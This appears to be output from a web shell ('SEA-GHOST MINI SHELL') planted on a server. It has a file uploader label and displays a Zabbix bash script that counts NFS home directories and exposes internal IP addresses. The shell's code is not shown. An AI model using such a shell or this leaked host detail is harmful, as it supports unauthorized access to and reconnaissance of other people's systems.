[ SEA-GHOST MINI SHELL]

Path : /proc/2/root/var/lib/zabbix/
FILE UPLOADER :
Current File : //proc/2/root/var/lib/zabbix/nfs_homedir_count.sh

#!/bin/bash

serviceName="fstab_mounts"
ds=$1

if [ $ds == "dc1" ]; then
  dsaddr="10.11.0.248"
elif [ $ds == "dc3" ]; then
  dsaddr="10.11.0.238"
elif [ $ds == "dc" ]; then
  dsaddr="10.21.4.7"
fi

fstabHomes=$(awk '$2 ~ /\/home|mysql/ &&  $1 !~ /^#/ {print $1,$2}' /etc/fstab |grep $dsaddr| awk {'print $2'}| sort)

if [ ! -z "$fstabHomes" ]; then
  while read -r line; do
      count=$(ls -f "$line" | grep -E '^rs|^sb|^wc' | wc -l)
      let SUM+="$count"
  done <<< "$fstabHomes"
fi

if [ ! -z "$SUM" ]; then
  echo $SUM
fi

exit

SEA-GHOST - SHELL CODING BY SEA-GHOST